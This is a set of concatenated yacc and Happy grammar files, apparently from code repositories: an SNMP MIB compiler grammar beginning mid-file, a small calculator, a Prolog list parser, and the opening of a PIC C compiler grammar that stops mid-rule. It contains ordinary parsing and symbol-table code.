}
else
{
$$ = NULL;
}
if($1)
delete $1;
}
| Type SubtypeSizeSpec
{
if($1 && $2)
{
// Create a range sub type
SIMCSizeType *type = new SIMCSizeType ($1->s, $1->line,
$1->column, $2);
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol(new SIMCBuiltInTypeReference (
type,
badName,
SIMCSymbol::LOCAL,
theModule) );
$$ = new SIMCSymbolReference(theModule->GetSymbol(badName),
$1->line, $1->column);
delete badName;
}
else
{
$$ = NULL;
}
if($1)
delete $1;
}
| Type error
{
$$ = NULL;
if($1)
delete $1;
}
;
SubtypeRangeSpec: LPAREN SubtypeRangeAlternative SubtypeRangeAlternativeList RPAREN
{
$$ = newRangeList;
newRangeList = new SIMCRangeList;
}
| LPAREN error RPAREN
{
delete newRangeList;
newRangeList = new SIMCRangeList;
$$ = NULL;
theParser->SyntaxError(SUB_TYPE_SPECIFICATION);
YYERROR;
}
;
SubtypeRangeAlternative: SubtypeValueSet
{
newRangeList->AddTail($1);
}
;
SubtypeRangeAlternativeList: BAR SubtypeRangeAlternative SubtypeRangeAlternativeList
| empty
;
SubtypeValueSet: NumericValue
{
SIMCBuiltInValueReference *bvRef =
(SIMCBuiltInValueReference *)(*$1->s);
SIMCIntegerValue *intValue = (SIMCIntegerValue*)bvRef->GetValue();
$$ = new SIMCRangeOrSizeItem(
intValue->GetIntegerValue(), intValue->IsUnsigned(),
$1->line, $1->column,
intValue->GetIntegerValue(), intValue->IsUnsigned(),
$1->line, $1->column);
theModule->RemoveSymbol((*$1->s)->GetSymbolName());
delete $1;
}
| NumericValue DOTDOT NumericValue
{
SIMCBuiltInValueReference *bvRef1 =
(SIMCBuiltInValueReference *)(*$1->s);
SIMCIntegerValue *intValue1 = (SIMCIntegerValue*)bvRef1->GetValue();
SIMCBuiltInValueReference *bvRef3 =
(SIMCBuiltInValueReference *)(*$3->s);
SIMCIntegerValue *intValue3 = (SIMCIntegerValue*)bvRef3->GetValue();
$$ = new SIMCRangeOrSizeItem(
intValue1->GetIntegerValue(), intValue1->IsUnsigned(),
$1->line, $1->column,
intValue3->GetIntegerValue(), intValue3->IsUnsigned(),
$3->line, $3->column);
theModule->RemoveSymbol((*$1->s)->GetSymbolName());
theModule->RemoveSymbol((*$3->s)->GetSymbolName());
delete $1;
delete $3;
}
;
SubtypeSizeSpec: LPAREN _SIZE SubtypeRangeSpec RPAREN
{
$$ = $3;
delete $2;
}
| LPAREN _SIZE error RPAREN
{
$$ = NULL;
delete $2;
theParser->SyntaxError(SIZE_SPECIFICATION);
}
;
QualifiedName : ID DOT NAME
{
SIMCSymbol **s;
if( strcmp($1->name, theModule->GetModuleName()) == 0 )
{
if( !(s = theModule->GetSymbol($3->name) ))
theModule->AddSymbol(
new SIMCUnknown($3->name, SIMCSymbol::LOCAL,
theModule, $3->line,
$3->column, 0) );
$$ = new SIMCSymbolReference (theModule->GetSymbol($3->name),
$3->line, $3->column);
}
else
{
SIMCModule *m = theModule->GetImportModule($1->name);
if(m)
{
if( ! ( s = m->GetSymbol($3->name) ) )
{
theParser->SemanticError(theModule->GetInputFileName(),
IMPORT_SYMBOL_ABSENT,
$3->line, $3->column,
$3->name, $1->name);
$$ = NULL;
}
else
$$ = new SIMCSymbolReference(s, $3->line, $3->column);
}
else // Module is not mentioned in imports
{
theParser->SemanticError(theModule->GetInputFileName(),
IMPORT_MODULE_ABSENT,
$1->line, $1->column,
$1->name);
$$ = NULL;
}
}
delete $1;
delete $3;
}
| NAME
{
SIMCSymbol **s;
const SIMCModule *reservedModule;
// Reserved Symbol
if(reservedModule = theParser->IsReservedSymbol($1->name))
{
// If Symbol exists in the current module too,
// dont use that definition since this is a reserved symbol.
// Instead issue a warning.
// else cool.
if( s = theModule->GetSymbol($1->name) )
{
if( ! theParser->IsReservedSymbol($1->name, theModule->GetModuleName()) )
theParser->SemanticError(theModule->GetInputFileName(),
KNOWN_REDEFINITION,
$1->line, $1->column,
$1->name, reservedModule->GetModuleName());
}
$$ = new SIMCSymbolReference(reservedModule->GetSymbol($1->name),
$1->line, $1->column);
}
// Not a reserved symbol, but defined in this module
else if ( s = theModule->GetSymbol($1->name))
$$ = new SIMCSymbolReference(s, $1->line, $1->column) ;
// Not a reserved symbol, not defined in this module so far.
// Create a new entry, hoping that it will be defined later, or is imported
else
{
theModule->AddSymbol( new SIMCUnknown($1->name, SIMCSymbol::LOCAL, theModule, $1->line,
$1->column, 0));
$$ = new SIMCSymbolReference(theModule->GetSymbol($1->name),
$1->line, $1->column);
}
delete $1;
}
;
QualifiedId: ID DOT ID
{
SIMCSymbol **s;
if( strcmp($1->name, theModule->GetModuleName()) == 0 )
{
if( !(s = theModule->GetSymbol($3->name) ) )
theModule->AddSymbol(
new SIMCUnknown($3->name, SIMCSymbol::LOCAL, theModule, $3->line,
$3->column, 0) );
$$ = new SIMCSymbolReference (theModule->GetSymbol($3->name),
$3->line, $3->column);
}
else
{
SIMCModule *m = theModule->GetImportModule($1->name);
if(m)
{
if( ! ( s = m->GetSymbol($3->name) ))
{
theParser->SemanticError(theModule->GetInputFileName(),
IMPORT_SYMBOL_ABSENT,
$3->line, $3->column,
$3->name, $1->name);
$$ = NULL;
}
else
$$ = new SIMCSymbolReference(s, $3->line, $3->column);
}
else // Module is mentioned in imports
{
theParser->SemanticError(theModule->GetInputFileName(),
IMPORT_MODULE_ABSENT,
$1->line, $1->column,
$1->name);
$$ = NULL;
}
}
delete $1;
delete $3;
}
| ID
{
SIMCSymbol **s;
const SIMCModule *reservedModule;
// Reserved Symbol
if(reservedModule = theParser->IsReservedSymbol($1->name))
{
// If Symbol exists in the current module too,
// dont use that definition since this is a reserved symbol.
// Instead issue a warning.
// else cool.
if( s = theModule->GetSymbol($1->name) )
{
if( ! theParser->IsReservedSymbol($1->name, theModule->GetModuleName()) )
theParser->SemanticError(theModule->GetInputFileName(),
KNOWN_REDEFINITION,
$1->line, $1->column,
$1->name, reservedModule->GetModuleName());
}
$$ = new SIMCSymbolReference(reservedModule->GetSymbol($1->name),
$1->line, $1->column);
}
// Not a reserved symbol, but defined in this module
else if ( s = theModule->GetSymbol($1->name))
$$ = new SIMCSymbolReference(s, $1->line, $1->column) ;
// Not a reserved symbol, not defined in this module so far.
// Create a new entry, hoping that it will be defined later, or is imported
else
{
theModule->AddSymbol( new SIMCUnknown($1->name, SIMCSymbol::LOCAL, theModule, $1->line,
$1->column, 0));
$$ = new SIMCSymbolReference(theModule->GetSymbol($1->name),
$1->line, $1->column);
}
delete $1;
}
;
/* The following non terminals have been added for error control */
AllowedCCE: InsteadOfCCE
{
theParser->SyntaxError(INSTEAD_OF_CCE, $1->line, $1->column, NULL, $1->name);
delete $1;
}
| CCE
;
InsteadOfCCE: ':' ':'
{
$$ = new SIMCNameInfo("::", theScanner->yylineno, theScanner->columnNo - 2);
}
| ':' '='
{
$$ = new SIMCNameInfo(":=", theScanner->yylineno, theScanner->columnNo - 2);
}
| '='
{
$$ = new SIMCNameInfo("=", theScanner->yylineno, theScanner->columnNo - 1);
}
;
/* All the productions below are for V2 constructs */
/* NOTIFICATION-TYPE*/
NotifyDefinition: NAME NOTIFY ObjectsPart NotificationTypeStatusPart DESCRIPTION
LITSTRING ReferPart AllowedCCE ObjectID
{
switch(theParser->GetSnmpVersion())
{
case 1:
{
theParser->SyntaxError(NOTIFICATION_TYPE_DISALLOWED);
}
break;
default:
{
SIMCNotificationTypeType * type = new SIMCNotificationTypeType(
$3,
($6)?$6->name: NULL, ($6)? $6->line: 0, ($6)? $6->column:0,
($7)?$7->name:NULL, ($7)?$7->line:0, ($7)?$7->column:0,
$4->a, $4->line, $4->column);
char *badName1 = theParser->GenerateSymbolName();
SIMCBuiltInTypeReference * typeRef = new SIMCBuiltInTypeReference (
type, badName1, SIMCSymbol::LOCAL, theModule,
$2->line, $2->column);
theModule->AddSymbol(typeRef);
// Add an OID value reference
SIMCSymbol ** s = theModule->GetSymbol($1->name);
if(s) // Symbol exists in symbol table
{
if( typeid(**s) == typeid(SIMCUnknown) )
{
theModule->ReplaceSymbol( $1->name,
new SIMCDefinedValueReference (
theModule->GetSymbol(badName1),
$1->line, $1->column,
$9->s, $9->line, $9->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column,
(*s)->GetReferenceCount()) );
// delete (*s);
}
else
{
theParser->SemanticError(theModule->GetInputFileName(),
SYMBOL_REDEFINITION,
$1->line, $1->column,
$1->name);
// Remove the symbol for the type reference from the module
// And delete it
theModule->RemoveSymbol(badName1);
delete type;
delete typeRef;
delete newObjectsList;
}
}
else
theModule->AddSymbol( new SIMCDefinedValueReference (
theModule->GetSymbol(badName1),
$1->line, $1->column,
$9->s, $9->line, $9->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column) );
delete badName1;
}
}
newObjectsList = new SIMCObjectsList;
delete $1;
delete $2;
delete $4;
delete $6;
delete $7;
delete $9;
}
;
NotificationTypeStatusPart: STATUS NAME
{
SIMCNotificationTypeType::StatusType a;
if ((a=SIMCNotificationTypeType::StringToStatusType($2->name)) == SIMCNotificationTypeType::STATUS_INVALID)
{
theParser->SemanticError(theModule->GetInputFileName(),
NOTIFICATION_TYPE_INVALID_STATUS,
$2->line, $2->column,
$2->name);
$$ = NULL;
YYERROR;
}
else
$$ = new SIMCNotificationTypeStatusInfo(a, $2->line, $2->column);
delete $1;
delete $2;
}
;
ObjectsPart: OBJECTS LBRACE ObjectTypeListForNotification RBRACE
{
delete $1;
delete $2;
$$ = newObjectsList;
}
| empty
{
$$ = newObjectsList;
}
| OBJECTS error
{
$$ = newObjectsList;
theParser->SyntaxError(OBJECTS_CLAUSE);
delete $1;
YYERROR;
}
;
ObjectTypeListForNotification: ObjectTypesForNotification
;
ObjectTypesForNotification: ObjectTypeForNotification
| ObjectTypesForNotification COMMA ObjectTypeForNotification
;
ObjectTypeForNotification: QualifiedName
{
if($1)
{
newObjectsList->AddTail(
new SIMCObjectsItem($1->s, $1->line, $1->column));
delete $1;
}
}
;
/* MODULE-IDENTITY */
ModuleIDefinition: NAME MODULEID LASTUPDATE LITSTRING ORGANIZATION
LITSTRING CONTACTINFO LITSTRING DESCRIPTION LITSTRING
RevisionPart AllowedCCE ObjectID
{
switch(theParser->GetSnmpVersion())
{
case 1:
{
theParser->SyntaxError(MODULE_IDENTITY_DISALLOWED);
}
break;
default:
{
theModule->SetModuleIdentityName($1->name);
theModule->SetLastUpdated($4->name);
theModule->SetOrganization($6->name);
theModule->SetContactInfo($8->name);
theModule->SetDescription($10->name);
// Create a value reference in the symbol table,
// since the symbol can be used as an OID value
SIMCSymbol ** s = theModule->GetSymbol($1->name);
if(s) // Symbol exists in symbol table
{
if( typeid(**s) == typeid(SIMCUnknown) )
{
theModule->ReplaceSymbol( $1->name,
new SIMCDefinedValueReference (
theParser->objectIdentifierType,
$2->line, $2->column,
$13->s, $13->line, $13->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column,
(*s)->GetReferenceCount()) );
// delete (*s);
}
else
{
theParser->SemanticError(theModule->GetInputFileName(),
SYMBOL_REDEFINITION,
$1->line, $1->column,
$1->name);
}
}
else
theModule->AddSymbol( new SIMCDefinedValueReference (
theParser->objectIdentifierType,
$2->line, $2->column,
$13->s, $13->line, $13->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column) );
}
break;
}
delete $1;
delete $2;
delete $3;
delete $4;
delete $5;
delete $6;
delete $7;
delete $8;
delete $9;
delete $10;
delete $13;
}
;
RevisionPart: Revisions
| empty
;
Revisions: Revisions Revision
| Revision
;
Revision: REVISION LITSTRING DESCRIPTION LITSTRING
{
theModule->AddRevisionClause( new SIMCRevisionElement (
$2->name, $4->name) );
delete $1;
delete $2;
delete $3;
delete $4;
}
;
/* OBJECT-IDENTITY */
ObjectDefinition: NAME OBJECTIDENT ObjectIdentityStatusPart DescrPart
ReferPart AllowedCCE ObjectID
{
switch( theParser->GetSnmpVersion())
{
case 1:
{
theParser->SyntaxError(OBJECT_IDENTITY_DISALLOWED);
}
break;
default:
{
// Form an SIMCObjectIdentity type
SIMCObjectIdentityType * type = new SIMCObjectIdentityType(
$3->a, $3->line, $3->column,
($4)? $4->name : NULL, ($4)? $4->line : 0, ($4)? $4->column : 0,
($5)? $5->name : NULL, ($5)? $5->line : 0, ($5)? $5->column : 0);
char *badName = theParser->GenerateSymbolName();
SIMCBuiltInTypeReference * typeRef = new SIMCBuiltInTypeReference (
type, badName, SIMCSymbol::LOCAL, theModule,
$2->line, $2->column );
theModule->AddSymbol(typeRef);
SIMCSymbol ** s = theModule->GetSymbol($1->name);
if(s) // Symbol exists in symbol table
{
if( typeid(**s) == typeid(SIMCUnknown) )
{
theModule->ReplaceSymbol( $1->name,
new SIMCDefinedValueReference (
theModule->GetSymbol(badName),
$2->line, $2->column,
$7->s, $7->line, $7->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column,
(*s)->GetReferenceCount()) );
// delete (*s);
}
else
{
theParser->SemanticError(theModule->GetInputFileName(),
SYMBOL_REDEFINITION,
$1->line, $1->column,
$1->name);
// Remove the symbol for the type reference from the module
// And delete it
theModule->RemoveSymbol(badName);
delete type;
delete typeRef;
}
}
else
theModule->AddSymbol( new SIMCDefinedValueReference (
theModule->GetSymbol(badName),
$2->line, $2->column,
$7->s, $7->line, $7->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column) );
}
}
delete $1;
delete $2;
if($3) delete $3;
if($4) delete $4;
if($5) delete $5;
if($7) delete $7;
}
;
ObjectIdentityStatusPart: STATUS NAME
{
SIMCObjectIdentityType::StatusType a;
if ((a=SIMCObjectIdentityType::StringToStatusType($2->name)) == SIMCObjectTypeV1::STATUS_INVALID)
{
theParser->SemanticError(theModule->GetInputFileName(),
OBJ_IDENTITY_INVALID_STATUS,
$2->line, $2->column,
$2->name);
$$ = NULL;
YYERROR;
}
else
$$ = new SIMCObjectIdentityStatusInfo(a, $2->line, $2->column);
delete $1;
delete $2;
}
;
/* TEXTUAL-CONVENTION */
TextualConventionDefinition: ID AllowedCCE TEXTCONV DisplayPart STATUS NAME
DESCRIPTION LITSTRING ReferPart SYNTAX Type
{
switch(theParser->GetSnmpVersion())
{
case 1:
{
theParser->SyntaxError(TEXTUAL_CONVENTION_DISALLOWED);
}
break;
default:
{
// See if the status clause is valid
SIMCTextualConvention::SIMCTCStatusType status =
SIMCTextualConvention::StringToStatusType($6->name);
if(SIMCTextualConvention::TC_INVALID == status)
theParser->SemanticError(theModule->GetInputFileName(),
TC_INVALID_STATUS,
$6->line, $6->column,
$6->name);
else
{
if ($11)
{
SIMCSymbol ** s = theModule->GetSymbol($1->name);
if(s) // Symbol exists in symbol table
{
if( typeid(**s) == typeid(SIMCUnknown) )
{
theModule->ReplaceSymbol( $1->name,
new SIMCTextualConvention (
($4)? $4->name : NULL,
status, $6->line, $6->column,
$8->name,
($9)? $9->name : NULL,
$11->s, $11->line, $11->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column,
(*s)->GetReferenceCount())
);
// delete (*s);
}
else
theParser->SemanticError(theModule->GetInputFileName(),
SYMBOL_REDEFINITION,
$1->line, $1->column,
$1->name);
}
else
theModule->AddSymbol( new SIMCTextualConvention (
($4)? $4->name : NULL,
status, $6->line, $6->column,
$8->name,
($9)? $9->name : NULL,
$11->s, $11->line, $11->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column) );
}
}
}
break;
}
delete $1;
delete $3;
delete $4;
delete $5;
delete $6;
delete $7;
delete $8;
delete $9;
delete $10;
delete $11;
}
;
DisplayPart: DISPLAYHINT LITSTRING
{
delete $1;
$$ = $2;
}
| empty
{
$$ = NULL;
}
;
/* OBJECT-GROUP */
ObjectGroupDefinition: NAME OBJECTGROUP OBJECTS LBRACE VarTypeList RBRACE
STATUS NAME DESCRIPTION LITSTRING ReferPart AllowedCCE
ObjectID
{
switch(theParser->GetSnmpVersion())
{
case 1:
{
theParser->SyntaxError(OBJECT_GROUP_DISALLOWED);
}
break;
default:
{
// Add an OID value reference
SIMCSymbol ** s = theModule->GetSymbol($1->name);
if(s) // Symbol exists in symbol table
{
if( typeid(**s) == typeid(SIMCUnknown) )
{
theModule->ReplaceSymbol( $1->name,
new SIMCDefinedValueReference (
theParser->objectIdentifierType,
$1->line, $1->column,
$13->s, $13->line, $13->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column,
(*s)->GetReferenceCount()) );
// delete (*s);
}
else
{
theParser->SemanticError(theModule->GetInputFileName(),
SYMBOL_REDEFINITION,
$1->line, $1->column,
$1->name);
}
}
else
theModule->AddSymbol( new SIMCDefinedValueReference (
theParser->objectIdentifierType,
$1->line, $1->column,
$13->s, $13->line, $13->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column) );
}
break;
}
delete $1;
delete $2;
delete $3;
delete $4;
delete $7;
delete $8;
delete $9;
delete $10;
if($11) delete $11;
delete $13;
}
;
/* NOTIFICATION-GROUP */
NotifyGroupDefinition: NAME NOTIFYGROUP NOTIFICATIONS LBRACE VarTypeList RBRACE
STATUS NAME DESCRIPTION LITSTRING ReferPart AllowedCCE
ObjectID
{
switch(theParser->GetSnmpVersion())
{
case 1:
{
theParser->SyntaxError(NOTIFICATION_GROUP_DISALLOWED);
}
break;
default:
{
// Add an OID value reference
SIMCSymbol ** s = theModule->GetSymbol($1->name);
if(s) // Symbol exists in symbol table
{
if( typeid(**s) == typeid(SIMCUnknown) )
{
theModule->ReplaceSymbol( $1->name,
new SIMCDefinedValueReference (
theParser->objectIdentifierType,
$1->line, $1->column,
$13->s, $13->line, $13->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column,
(*s)->GetReferenceCount()) );
// delete (*s);
}
else
{
theParser->SemanticError(theModule->GetInputFileName(),
SYMBOL_REDEFINITION,
$1->line, $1->column,
$1->name);
}
}
else
theModule->AddSymbol( new SIMCDefinedValueReference (
theParser->objectIdentifierType,
$1->line, $1->column,
$13->s, $13->line, $13->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column) );
}
break;
}
delete $1;
delete $2;
delete $3;
delete $4;
delete $7;
delete $8;
delete $9;
delete $10;
if($11) delete $11;
delete $13;
}
;
/* MODULE-COMPLIANCE */
ModComplianceDefinition: NAME MODCOMP STATUS NAME DESCRIPTION LITSTRING
ReferPart MibPart AllowedCCE ObjectID
{
switch(theParser->GetSnmpVersion())
{
case 1:
{
theParser->SyntaxError(MODULE_COMPLIANCE_DISALLOWED);
}
break;
default:
{
// Add an OID value reference
SIMCSymbol ** s = theModule->GetSymbol($1->name);
if(s) // Symbol exists in symbol table
{
if( typeid(**s) == typeid(SIMCUnknown) )
{
theModule->ReplaceSymbol( $1->name,
new SIMCDefinedValueReference (
theParser->objectIdentifierType,
$1->line, $1->column,
$10->s, $10->line, $10->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column,
(*s)->GetReferenceCount()) );
// delete (*s);
}
else
{
theParser->SemanticError(theModule->GetInputFileName(),
SYMBOL_REDEFINITION,
$1->line, $1->column,
$1->name);
}
}
else
theModule->AddSymbol( new SIMCDefinedValueReference (
theParser->objectIdentifierType,
$1->line, $1->column,
$10->s, $10->line, $10->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column) );
}
}
delete $1;
delete $2;
delete $3;
delete $4;
delete $5;
delete $6;
if($7) delete $7;
delete $10;
}
;
MibPart: Mibs
| empty
;
Mibs: Mibs Mib
| Mib
;
Mib: MODULE ModuleIdentifierUnused MandatoryPart CompliancePart
{
delete $1;
}
| MODULE MandatoryPart CompliancePart
{
delete $1;
}
;
ModuleIdentifierUnused: ID
{
if($1)
delete ($1);
}
| ID ObjectID
{
if($1)
delete ($1);
if($2)
delete $2;
}
;
MandatoryPart: MANDATORY LBRACE VarTypeList RBRACE
{
delete $1;
delete $2;
}
| empty
;
CompliancePart: Compliances
| empty
;
Compliances: Compliances Compliance
| Compliance
;
Compliance: GROUP NAME DESCRIPTION LITSTRING
{
delete $1;
delete $2;
delete $3;
delete $4;
}
| OBJECT NAME Syntax WriteSyntax MinAccessPart
DESCRIPTION LITSTRING
{
delete $1;
delete $2;
delete $6;
delete $7;
}
;
Syntax: SYNTAX Type
{
delete $1;
delete $2;
}
| empty
;
WriteSyntax: WSYNTAX Type
{
delete $1;
delete $2;
}
| empty
;
MinAccessPart: MINACCESS NAME
{
delete $1;
delete $2;
}
| empty
;
/* AGENT-CAPABILITIES */
AgentCapabilitiesDefinition: NAME AGENTCAP PRELEASE LITSTRING STATUS NAME
DESCRIPTION LITSTRING ReferPart ModulePart AllowedCCE
ObjectID
{
switch(theParser->GetSnmpVersion())
{
case 1:
{
theParser->SyntaxError(AGENT_CAPABILITIES_DISALLOWED);
}
break;
default:
{
// Add an OID value reference
SIMCSymbol ** s = theModule->GetSymbol($1->name);
if(s) // Symbol exists in symbol table
{
if( typeid(**s) == typeid(SIMCUnknown) )
{
theModule->ReplaceSymbol( $1->name,
new SIMCDefinedValueReference (
theParser->objectIdentifierType,
$1->line, $1->column,
$12->s, $12->line, $12->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column,
(*s)->GetReferenceCount()) );
// delete (*s);
}
else
{
theParser->SemanticError(theModule->GetInputFileName(),
SYMBOL_REDEFINITION,
$1->line, $1->column,
$1->name);
}
}
else
theModule->AddSymbol( new SIMCDefinedValueReference (
theParser->objectIdentifierType,
$1->line, $1->column,
$12->s, $12->line, $12->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column) );
}
}
delete $1;
delete $2;
delete $3;
delete $4;
delete $5;
delete $6;
delete $7;
delete $8;
if($9) delete $9;
delete $12;
}
;
ModulePart: Modules
| empty
;
Modules: Modules Module
| Module
;
Module: SUPPORTS ModuleReference INCLUDING LBRACE VarTypeList
RBRACE VariationPart
{
delete $1;
delete $3;
delete $4;
}
;
ModuleReference: ID LBRACE ObjectIDComponentList RBRACE
{
delete $1;
delete $2;
delete newOidComponentList;
newOidComponentList = new SIMCOidComponentList;
}
| ID
{
delete $1;
}
;
VariationPart: Variations
| empty
;
Variations: Variations Variation
| Variation
;
Variation: VARIATION NAME Syntax WriteSyntax AccessPart
CreationPart DefValPart DESCRIPTION
LITSTRING
{
delete $1;
delete $2;
delete $7;
delete $8;
delete $9;
}
;
CreationPart: CREATION LBRACE Creation RBRACE
{
delete $1;
delete $2;
}
| empty
;
Creation: VarTypeList
| empty
;
%%
|
<reponame>sabertazimi/hust-lab
%{
#define YYSTYPE double
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
int yylex(void);
void yyerror(char *s);
%}
%token num
%left '+' '-'
%left '*' '/'
%%
lines: line
| line lines
;
line: exp '\n' {
printf("value=%.10g\n",$1);
}
| exit '\n'
;
exp: num { $$ = $1; }
| exp '+' exp { $$ = $1 + $3;}
| exp '-' exp { $$ = $1 - $3;}
| exp '/' exp { $$ = $1 / $3;}
| exp '*' exp { $$ = $1 * $3;}
| '(' exp ')' { $$ = $2;}
;
exit: 'e' { exit(0); }
| 'q' { exit(0); }
| 'e' xit { exit(0); }
| 'q' uit { exit(0); }
;
xit: 'x' it;
uit: 'u' it;
it: 'i' t;
t: 't';
%%
int yylex(void) {
int c;
while ((c = getchar()) == ' ' || c == '\t') {
;
}
if (c == '.' || isdigit(c)) {
ungetc(c, stdin);
scanf("%lf", &yylval);
return num;
}
if (c == EOF) {
return 0;
}
return c;
}
void yyerror(char *s) {
fprintf(stderr, "%s\n", s);
yyparse();
return;
}
int main(int argc, char **argv) {
return yyparse();
}
|
{
module Prolog_list where
import Char
}
%name prolog_list
%tokentype { Token }
%token
'[' { Token_open_list }
']' { Token_close_list }
',' { Token_comma }
'|' { Token_ht_sep }
Integer_constant { Token_Integer_constant }
Hexadecimal_constant { Token_Hexadecimal_constant }
Anonymous_Variable { Token_Anonymous_Variable }
Named_Variable { Token_Named_Variable }
%%
Term :: { PL }
Term : Atom { $1 }
| Variable { $1 }
| Integer { $1 }
| '[' Items ']' { $2 }
Items : Exp ',' Items { Append $1 $3 }
| Exp '|' Exp { Append $1 $3 }
| Exp { $1 }
Exp : Term { $1 }
Integer : -- [ Layout_text_sequence ]
Integer_token { $1 }
Variable : -- [ Layout_text_sequence ]
Variable_token { $1 }
Variable_token : Anonymous_Variable { A }
| Named_Variable { N }
Integer_token : Integer_constant { I }
| Hexadecimal_constant { H }
Atom : Empty_list { $1 }
Empty_list : '[' ']' { Empty }
{
happyError :: [Token] -> a
happyError _ = error ("Parse error\n")
data PL = N | A | I | H | Append PL PL | Empty
deriving Show
data Token = Token_open_list | Token_close_list
| Token_comma | Token_ht_sep
| Token_Integer_constant | Token_Hexadecimal_constant
| Token_Anonymous_Variable | Token_Named_Variable
lexer :: String -> [Token]
lexer [] = []
lexer ('[':cs) = Token_open_list : lexer cs
lexer (']':cs) = Token_close_list : lexer cs
lexer (',':cs) = Token_comma : lexer cs
lexer ('|':cs) = Token_ht_sep : lexer cs
lexer ('i':cs) = Token_Integer_constant : lexer cs
lexer ('x':cs) = Token_Hexadecimal_constant : lexer cs
lexer ('a':cs) = Token_Anonymous_Variable : lexer cs
lexer ('n':cs) = Token_Named_Variable : lexer cs
lexer ( _ :cs) = lexer cs
run :: String -> PL
run = prolog_list . lexer
}
|
<gh_stars>10-100
/*
* C Compiler for PIC processors.
*
* Copyright (C) 1997-2002 <NAME> <<EMAIL>>
*
* This file is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE.
*
* You can redistribute this file and/or modify it under the terms of the GNU
* General Public License (GPL) as published by the Free Software Foundation;
* either version 2 of the License, or (at your discretion) any later version.
* See the accompanying file "COPYING.txt" for more details.
*/
%{
#include "global.h"
#include <string.h>
#define YYSTACKSIZE 2000
%}
%union {
long lval;
char *strval;
node_t *node;
}
%term NAME STRING CON ANDAND OROR INC DEC EQUOP NEQOP LE GE LSOP RSOP STRUCT
RETURN GOTO IF ELSE SWITCH BREAK CONTINUE WHILE DO FOR DEFAULT CASE
SIZEOF ASM CHAR SHORT LONG FAR VOID INTERRUPT
%token <lval> CON
%token <strval> NAME STRING
%type <lval> type o_addr cast
%type <node> decl_list declarator arg function data label asg
fdecl_list stmt_list statement args oasg o_elist elist e term
%left ','
%right '='
%right '?' ':'
%left OROR
%left ANDAND
%left '|'
%left '^'
%left '&'
%left EQUOP NEQOP
%left '<' '>' LE GE
%left RSOP LSOP
%left '+' '-'
%left '*' '/' '%'
%right '~' '!'
%right INC DEC SIZEOF
%left '[' '(' '.'
%start program
%%
program: program declaration
|
;
declaration: type decl_list ';' ={ node_t *n = rightrec ($2);
while (n->op == OP_COMMA) {
node_t *r = n->right;
if (n->left->op == OP_NAME)
declvar (n->left);
nfree (n);
n = r;
}
if (n->op == OP_NAME)
declvar (n);
nfree (n);
sfree (); }
| type function o_addr '{'
{ level = 1;
func = stab + $2->left->rval;
if (stab[$2->left->rval].size)
error ("function `%s' redefined",
stab[$2->left->rval].name);
stab[$2->left->rval].size = 1; }
fdecl_list stmt_list '}'
={ stab[$2->left->rval].addr = $3;
compile ($2, $6, $7);
twalk ($2, nfree);
twalk ($6, nfree);
twalk ($7, nfree);
sfree (); level = 0; }
| INTERRUPT type function o_addr '{'
{ level = 1;
func = stab + $3->left->rval;
if (stab[$3->left->rval].size)
error ("function `%s' redefined",
stab[$3->left->rval].name);
stab[$3->left->rval].size = 2; }
fdecl_list stmt_list '}'
={ stab[$3->left->rval].addr = $4;
compile ($3, $7, $8);
twalk ($3, nfree);
twalk ($7, nfree);
twalk ($8, nfree);
sfree (); level = 0; }
| ASM '(' STRING ')' ';'
={ outstr ($3); }
| error
;
decl_list: declarator %prec ',' ={ $$ = $1; }
| decl_list ',' declarator ={ $$ = node (OP_COMMA, $1, $3); }
;
declarator: data o_addr ={ $$ = $1; stab[$$->rval].addr = $2; }
| function o_addr ={ $$ = $1; stab[$$->left->rval].addr = $2; }
;
data: '*' NAME ={ $$ = defvar ($2, type|TPTR, 0); }
| FAR '*' NAME ={ $$ = defvar ($3, type|TPTR|TFAR, 0); }
| NAME '[' e ']' ={ $3 = twalk ($3, evalconst);
if ($3->op != OP_CONST)
error ("invalid array size");
$$ = defvar ($1, type, $3->lval);
twalk ($3, nfree); }
| NAME ={ $$ = defvar ($1, type, 0); }
function: '*' NAME '(' { fnode = deffun ($2, type|TPTR); }
args ')' ={ $$ = node (OP_FUNC, fnode, $5); }
| FAR '*' NAME '(' { fnode = deffun ($3, type|TPTR|TFAR); }
args ')' ={ $$ = node (OP_FUNC, fnode, $6); }
| NAME '(' { fnode = deffun ($1, type); }
args ')' ={ $$ = node (OP_FUNC, fnode, $4); }
;
type: CHAR ={ $$ = type = TCHAR; }
| SHORT ={ $$ = type = TSHORT; }
| LONG ={ $$ = type = TLONG; }
| VOID ={ $$ = type = TVOID; }
;
o_addr: /*void*/ ={ $$ = 0; }
| '@' CON ={ $$ = $2 + 1; }
;
args: /*void*/ ={ $$ = 0; }
| type arg %prec ',' ={ $$ = $2; $$->type |= $1; }
| type arg ',' type arg ={ $$ = node (OP_COMMA, $2, $5);
$2->type |= $1; $5->type |= $4; }
;
arg: '*' NAME ={ $$ = defarg ($2, type|TPTR); }
| FAR '*' NAME ={ $$ = defarg ($3, type|TPTR|TFAR); }
| NAME ={ $$ = defarg ($1, type); }
;
fdecl_list: fdecl_list type decl_list ';'
={ if ($1) $$ = node (OP_COMMA, $1, $3);
else $$ = $3; }
| ={ $$ = 0; }
;
stmt_list: stmt_list statement
